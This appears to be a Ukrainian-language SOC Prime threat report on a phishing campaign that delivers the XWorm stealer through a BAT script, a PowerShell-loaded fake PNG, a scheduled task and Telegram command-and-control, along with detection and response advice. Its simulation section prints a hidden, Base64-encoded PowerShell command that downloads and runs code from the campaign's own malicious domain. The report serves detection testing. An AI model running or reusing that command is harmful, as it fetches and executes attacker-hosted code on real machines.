SOC Prime Bias: Середній

06 Feb 2026 18:26

Шкідливий скрипт доставляє більше шкоди

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Шкідливий скрипт доставляє більше шкоди
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Фішинг-лист доставляє шкідливий вкладений файл, що містить BAT-скрипт, який запускає PowerShell для завантаження закодованого в Base64 корисного навантаження. Після декодування корисне навантаження перетворюється в XWorm, .NET стілер, що ідентифікує хост і передає зібрані дані через Telegram-бот. Постійність досягається шляхом створення задачі за розкладом, яка періодично запускає викинутий виконуваний файл. Операція покладається на кілька елементів інфраструктури, включаючи підробний інструмент для зберігання зображень і принаймні одну скомпрометовану IP-адресу для розміщення корисного навантаження.

Розслідування

Перегляд BAT-скрипту виявив однорядковий PowerShell, що отримує файл, схожий на PNG, з домену, контрольованого атакуючим. Вбудований контент в Base64 потім очищається, перевертається і декодується для реконструкції .NET виконуваного файлу. Аналіз бінарних файлів показав, що шкідливе програмне забезпечення реєструє заплановане завдання під назвою Chromiumx2 і використовує API Telegram для командного управління і передачі даних. Слідчі виділили ключові мережеві індикатори, включаючи домен хостингу, асоційовану IP-адресу та кінцеву точку API Telegram, зазначені під час виконання.

Пом’якшення

Запобігти виконанню незахищеного BAT і PowerShell контенту, що походить з вкладених файлів електронної пошти чи директорій завантаження користувача. Застосувати дозвіл для додатків, щоб обмежити створення завдань за розкладом і виявляти підозрілі нові реєстрації завдань. Моніторити і, де можливо, обмежити вихідний доступ до кінцевих точок API Telegram і блокувати виявлені шкідливі домени на рівні DNS/проксі. Підтримувати актуальність детекцій кінцевих точок з врахуванням нових індикаторів і шаблонів завантаження на основі скриптів.

Відповідь

Ізолювати кінцеві точки, де спостерігається завдання за розкладом Chromiumx2 або Chromiumx2.exe. Видалити завдання за розкладом, видалити шкідливий бінарний файл і зібрати артефакти (скрипт, декодоване корисне навантаження, XML завдання та відповідні журнали) для судово-інформаційного аналізу. Шукати по всьому середовищу ту ж назву завдання, поведінку декодування PowerShell і трафік, керований Telegram. Скинути потенційно скомпрометовані облікові дані і повідомити користувачів про фішингове вкладення, щоб зменшити повторне виконання.

graph TB %% Визначення класів classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef process fill:#ffeb99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef c2 fill:#c2f0c2 %% Вузли initial_access[“<b>Техніка</b> – T1566.001 Фішинг із вкладенням<br/><b>Опис</b>: Зловмисник надсилає шкідливий лист із вкладенням .bat.”]:::technique attachment_file[“<b>Файл</b> – malicious_attachment.bat<br/><b>Призначення</b>: Створює PNG-зображення з прихованим shellcode.”]:::file masquerading[“<b>Техніка</b> – T1036.008 Маскування типу файлу<br/><b>Опис</b>: PNG з назвою optimized_MSI.png фактично містить shellcode, обмежений BaseStart- та -BaseEnd.”]:::technique png_image[“<b>Файл</b> – optimized_MSI.png<br/><b>Вміст</b>: Вбудований shellcode з розділювачами.”]:::file user_execution[“<b>Техніка</b> – T1204 Виконання користувачем<br/><b>Опис</b>: Жертва запускає шкідливий batch-файл.”]:::technique powershell_exec[“<b>Техніка</b> – T1059.001 PowerShell<br/><b>Опис</b>: Декодує Base64-дані, реверсує hex-рядки та запускає shellcode.”]:::technique obfuscation[“<b>Техніки</b> – T1027.008, T1027.004, T1027.009, T1027.003, T1027.007<br/><b>Опис</b>: Навантаження засмічене зайвим кодом, реверсованим hex, компілюється на льоту, використовує стеганографію та динамічне вирішення API.”]:::technique c2_communication[“<b>Техніки</b> – T1059.009 Хмарні API, T1102.002 Двосторонній веб-сервіс, T1102.003 Односторонній<br/><b>Опис</b>: .NET бекдор використовує Telegram Bot API для керування.”]:::c2 telegram_api[“<b>Інструмент</b> – Telegram Bot API<br/><b>Endpoint</b>: api.telegram.org”]:::tool persistence[“<b>Техніки</b> – T1543 Створення або модифікація системного процесу, T1546.002 Виконання за подією, T1547.014 Active Setup<br/><b>Опис</b>: Заплановане завдання \”Chromiumx2\” виконується щохвилини; заставка та Active Setup примусово забезпечують запуск.”]:::technique scheduled_task[“<b>Процес</b> – schtasks<br/><b>Завдання</b>: Chromiumx2”]:::process priv_esc[“<b>Техніки</b> – T1055 Інʼєкція процесу, T1574 Перехоплення потоку виконання<br/><b>Опис</b>: Shellcode інʼєктується в легітимний процес для отримання підвищених привілеїв.”]:::technique process_injection[“<b>Процес</b> – Легітимний процес<br/><b>Ціль</b>: Отримує інʼєктований shellcode.”]:::process credential_access[“<b>Техніки</b> – T1555.003 Облікові дані з веб-браузерів, T1539 Викрадення cookie веб-сесій<br/><b>Опис</b>: Chrome-інʼєктор викрадає паролі, cookie та інші дані браузера.”]:::technique chrome_injector[“<b>Шкідливе ПЗ</b> – Chrome Injector<br/><b>Функція</b>: Витягує збережені облікові дані та cookie сесій.”]:::malware discovery[“<b>Техніка</b> – T1217 Виявлення інформації браузера<br/><b>Опис</b>: Перелічує шляхи профілів Chrome і збережені облікові дані.”]:::technique exfiltration[“<b>Техніка</b> – T1041 Екcфільтрація через C2-канал<br/><b>Опис</b>: Зібрані облікові дані та системна інформація передаються через Telegram.”]:::technique lateral_movement[“<b>Техніки</b> – T1080 Забруднення спільного вмісту, T1210 Експлуатація віддалених сервісів<br/><b>Опис</b>: Завантаження додаткових payload для подальшого поширення.”]:::technique additional_payload[“<b>Файл</b> – buildingmoney.txt<br/><b>Призначення</b>: Містить додатковий шкідливий код для бокового переміщення.”]:::file %% Зʼєднання initial_access –>|доставляє| attachment_file attachment_file –>|створює| masquerading masquerading –>|формує| png_image png_image –>|використовується| user_execution user_execution –>|запускає| powershell_exec powershell_exec –>|виконує| obfuscation obfuscation –>|звʼязується з| c2_communication c2_communication –>|використовує| telegram_api c2_communication –>|забезпечує| persistence persistence –>|створює| scheduled_task scheduled_task –>|виконує| priv_esc priv_esc –>|інʼєктує в| process_injection process_injection –>|дозволяє| credential_access credential_access –>|реалізовано через| chrome_injector chrome_injector –>|збирає| discovery discovery –>|передає до| exfiltration exfiltration –>|надсилає дані через| c2_communication c2_communication –>|завантажує| additional_payload additional_payload –>|забезпечує| lateral_movement

Потік атаки

Детекції

Можливе зловживання Telegram як каналу керування та управління (через dns_query)

Команда SOC Prime
04 лютого 2026

Підозрілий процес використовує URL в командному рядку (через cmdline)

Команда SOC Prime
04 лютого 2026

Завантаження або вивантаження через Powershell (через cmdline)

Команда SOC Prime
04 лютого 2026

Schtasks вказує на підозрілий каталог / бінарний / скрипт (через cmdline)

Команда SOC Prime
04 лютого 2026

Підозрілі рядки Powershell (через powershell)

Команда SOC Prime
04 лютого 2026

Підозрілі файли у загальному профілі користувача (через file_event)

Команда SOC Prime
04 лютого 2026

Підозрілі рядки Powershell (через cmdline)

Команда SOC Prime
04 лютого 2026

Можливе використання Schtasks або AT для стійкості (через cmdline)

Команда SOC Prime
04 лютого 2026

IOC (SourceIP) для виявлення: шкідливий скрипт, що доставляє більше шкідливості

Правила SOC Prime AI
04 лютого 2026

IOC (DestinationIP) для виявлення: шкідливий скрипт, що доставляє більше шкідливості

Правила SOC Prime AI
04 лютого 2026

Створення запланованого завдання для стійкості Chromiumx2 [Створення процесу Windows]

Правила SOC Prime AI
04 лютого 2026

Виявлення завантаження закодованого в Base64 PowerShell корисного навантаження [PowerShell Windows]

Правила SOC Prime AI
04 лютого 2026

Виконання симуляції

Передумова: Перевірка телеметрії та базового стану повинна бути пройденою.

  • Опис атаки та команди:
    Атакуючий хоче завантажити і виконати шкідливе корисне навантаження з скомпрометованого веб-сервера. Щоб уникнути класичного виявлення підписів, він вбудовує всю логіку завантаження-і-виконання в один рядок Base64 і викликає PowerShell з -EncodedCommand. Команда посилається на точний URL, який відстежує правило виявлення (https://uniworldrivercruises-co.uk/optimized_MSI.png).

    1. Кодувати шкідливе навантаження (простий завантажувач, що запускає отриманий скрипт):

      $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
      $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      Write-Host $b64

      Отриманий B64 (приклад): SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA... (скорочено).

    2. Виконати закодовану команду:

      powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...

    Цей однорядковий код генерує точну телеметрію, яку очікує правило Sigma: процес PowerShell, -EncodedCommand прапор і шкідливий URL всередині декодованого блоку скрипта.

  • Регресійний тестовий скрипт:

    #-------------------------------------------------
    # Регресійний скрипт для активації правила виявлення
    #-------------------------------------------------
    # 1. Створити шкідливе навантаження
    $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Виконати навантаження за допомогою закодованої команди PowerShell
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" `
        -WindowStyle Hidden -PassThru | Out-Null
    
    Write-Host "Шкідлива закодована команда виконана."
    #-------------------------------------------------
  • Команди очищення:

    # Видалити будь-які тимчасові файли (не очікується, бо навантаження струмується безпосередньо)
    # Припинити будь-які залишкові приховані процеси PowerShell, запущені тестом
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} |
        Stop-Process -Force
    
    Write-Host "Очищення завершено."